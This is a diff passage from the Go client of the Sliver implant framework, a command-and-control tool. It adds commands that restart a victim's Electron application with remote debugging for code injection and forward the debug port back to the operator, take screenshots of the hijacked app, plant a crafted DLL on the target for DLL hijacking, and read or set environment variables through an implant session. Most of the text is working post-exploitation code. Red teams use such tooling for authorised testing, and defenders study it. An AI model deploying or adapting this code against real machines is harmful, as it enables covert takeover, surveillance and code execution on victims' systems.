|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
// Display table if we have 1 or more curses
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
// selectCursedProcess - Interactively select a cursed process from a list
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
}
|
||||
return port
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
@@ -0,0 +1,97 @@
|
||||
package dllhijack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
return
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if localFile != "" {
|
||||
if profileName != "" {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("DLL uploaded to %s\n", targetPath)
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var name string
|
||||
if len(ctx.Args) > 0 {
|
||||
name = ctx.Args[0]
|
||||
}
|
||||
|
||||
envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, envVar := range envInfo.Variables {
|
||||
fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
}
|
||||
|
||||
func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) != 2 {
|
||||
fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args[0]
|
||||
value := ctx.Args[1]
|
||||
|
||||
envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
|
||||
Variable: &commonpb.EnvVar{
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"set %s to %s\n", name, value)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Environment
|
||||
===========
|
||||
|
||||
Contains command implementations for manipulating remote environment variables.
|
||||
@@ -0,0 +1,71 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetEnvInfo - Print the results of the env get command
|
||||
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
for _, envVar := range envInfo.Variables {
|
||||
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
value := ctx.Args.String("value")
|
||||
if name == "" || value == "" {
|
||||
con.PrintErrorf("Usage: setenv KEY VALUE\n")
|
||||
return
|
||||
}
|
||||
|
||||
envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
|
||||
Variable: &commonpb.EnvVar{
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Set %s to %s\n", name, value)
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
